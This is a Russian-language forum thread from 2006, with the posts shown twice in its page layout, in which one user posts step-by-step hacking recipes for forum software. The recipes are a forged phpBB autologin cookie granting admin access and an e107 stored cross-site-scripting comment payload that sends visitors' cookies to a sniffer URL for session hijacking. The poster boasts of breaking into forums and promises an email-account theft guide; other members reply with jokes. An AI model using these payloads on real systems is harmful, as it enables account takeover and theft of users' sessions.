VIP Forums Muzblog Chat Games Gallery. Форум, муздневники, чат, игры, галлерея.

DAVid-hay · 19 Dec 06, 02:53

И так начну -)
phpBB прославилась своей простотой, удобностью в юзании, но и своими мега дырками. Начнем с ранних версей...
баг есть в версии вплоть до 2.0.12
(внимание нужен бразуер с возмоностью редактирования куки)
1 регистрируемся на форуме -)
2 логинимся(заходим) под своим login & pass
3 изменяем куки с стандартных, на следующие
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

DAVid-hay · 19 Dec 06, 02:59

e107 - не менее знаминитый движок(cms) , как известно у него свои дырки.
1 заходим под обычним юзером
2 добавляем в новости комент со следущим кодом(путь конечно нужо поменять на свой)

Code:

[img]img=new Image();img.src="http://localhost/sniff/s.gif?if=2&"+document.cookie;[/img]

3 идем в шнифер и смотрим что там у нас появлось.
4 подделвываем куки и все у нас права админа.

работает на всех версиях, где можно вставить комент с подобным кодом =)

PusSycat · 19 Dec 06, 18:10

Ой, чему это вы нас учите, мы тут все законопослушные граждане

Speechless · 19 Dec 06, 20:55

Главное, написал как наш форум взломать))))

А ведь найдется умник, который испробует)))

Амиго · 19 Dec 06, 21:00

Quote:

Originally Posted by DAVid-hay

e107 - не менее знаминитый движок(cms) , как известно у него свои дырки.
1 заходим под обычним юзером
2 добавляем в новости комент со следущим кодом(путь конечно нужо поменять на свой)

Code:

[img]img=new Image();img.src="http://localhost/sniff/s.gif?if=2&"+document.cookie;[/img]

3 идем в шнифер и смотрим что там у нас появлось.
4 подделвываем куки и все у нас права админа.

работает на всех версиях, где можно вставить комент с подобным кодом =)

может после взлома нормальный форум сделают:smile:

DAVid-hay · 19 Dec 06, 21:12

Quote:

Originally Posted by Speechless

Главное, написал как наш форум взломать))))

А ведь найдется умник, который испробует)))

знаешь когда нашли дырку в phpbb до версии 2.0.12 все форумы с такой версией были снесены любителями -) знаешь довольно весело, я сам пару таких взломал...
Сегодня постараюсь сделать подробный урок, как угнать акууант с mail.ru -)
А этот форум кстати такими методами не взломаешь -)

Хулигано · 25 Dec 06, 21:57

Quote:

Originally Posted by DAVid-hay

А этот форум кстати такими методами не взломаешь -)

Ииии... почему раньше не сказал? пытаюсь-пытаюсь, никак не получается :angry:

:smile:

Today's Posts
Last two days	Last 3 days
Last week	Today's Posts LIFE

19 Dec 06, 02:53	#1 (permalink)
DAVid-hay горец VIP Extra Club Join Date: Dec 2006 Location: Севанское высокогорье Posts: 1,587 Rep Power: 19	Хакаем(ломаем) И так начну -) phpBB прославилась своей простотой, удобностью в юзании, но и своими мега дырками. Начнем с ранних версей... баг есть в версии вплоть до 2.0.12 (внимание нужен бразуер с возмоностью редактирования куки) 1 регистрируемся на форуме -) 2 логинимся(заходим) под своим login & pass 3 изменяем куки с стандартных, на следующие a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

19 Dec 06, 02:59	#2 (permalink)
DAVid-hay горец VIP Extra Club Join Date: Dec 2006 Location: Севанское высокогорье Posts: 1,587 Rep Power: 19	e107 - не менее знаминитый движок(cms) , как известно у него свои дырки. 1 заходим под обычним юзером 2 добавляем в новости комент со следущим кодом(путь конечно нужо поменять на свой) Code: [img]img=new Image();img.src="http://localhost/sniff/s.gif?if=2&"+document.cookie;[/img] 3 идем в шнифер и смотрим что там у нас появлось. 4 подделвываем куки и все у нас права админа. работает на всех версиях, где можно вставить комент с подобным кодом =)

19 Dec 06, 18:10	#3 (permalink)
PusSycat Sos mi vida ♡ VIP Ultra Club Join Date: Nov 2006 Location: Moscow Age: 36 Posts: 29,922 Rep Power: 47	Ой, чему это вы нас учите, мы тут все законопослушные граждане
	__________________ Для того, чтобы быть красивой, женщине достаточно иметь черный свитер, черную юбку и идти под руку с мужчиной, которого она любит.

19 Dec 06, 20:55	#4 (permalink)
Speechless No Matter Who VIP Ultra Club Join Date: Nov 2006 Location: Big City Age: 37 Posts: 20,519 Rep Power: 38	Главное, написал как наш форум взломать)))) А ведь найдется умник, который испробует)))
	__________________ Даже перед тем как открыть шкаф, сперва постучи.

VIP Forums Muzblog Chat Games Gallery. Форум, муздневники, чат, игры, галлерея.

Science and Technology Today it is science tomorrow it will be technique. (Edward Teller)

Хакаем(ломаем)